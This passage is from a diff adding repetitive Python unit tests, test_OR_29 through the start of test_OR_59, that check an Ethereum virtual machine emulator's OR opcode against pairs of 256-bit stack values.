+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x17'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639935L])
+
+    def test_OR_29(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x17'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564819952L])
+
+    def test_OR_30(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x17'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564819953L])
+
+    def test_OR_31(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x17'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564819952L])
+
+    def test_OR_32(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x17'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564819967L])
+
+    def test_OR_33(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x17'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564819952L])
+
+    def test_OR_34(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x17'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564819952L])
+
+    def test_OR_35(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x17'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564819952L])
+
+    def test_OR_36(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x17'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564819952L])
+
+    def test_OR_37(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x17'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639935L])
+
+    def test_OR_38(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x17'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301263L])
+
+    def test_OR_39(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x17'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301263L])
+
+    def test_OR_40(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x17'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564819967L])
+
+    def test_OR_41(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x17'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301263L])
+
+    def test_OR_42(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x17'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301279L])
+
+    def test_OR_43(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x17'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301295L])
+
+    def test_OR_44(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x17'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301311L])
+
+    def test_OR_45(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x17'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281527586710570232449627116313036034012829185020175L])
+
+    def test_OR_46(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x17'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639935L])
+
+    def test_OR_47(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x17'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16])
+
+    def test_OR_48(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x17'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [17])
+
+    def test_OR_49(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x17'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564819952L])
+
+    def test_OR_50(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x17'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301279L])
+
+    def test_OR_51(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x17'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16])
+
+    def test_OR_52(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x17'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [48])
+
+    def test_OR_53(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x17'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [48])
+
+    def test_OR_54(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x17'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718928L])
+
+    def test_OR_55(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x17'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639935L])
+
+    def test_OR_56(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x17'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32])
+
+    def test_OR_57(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x17'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [33])
+
+    def test_OR_58(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x17'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564819952L])
+
+    def test_OR_59(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x17'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
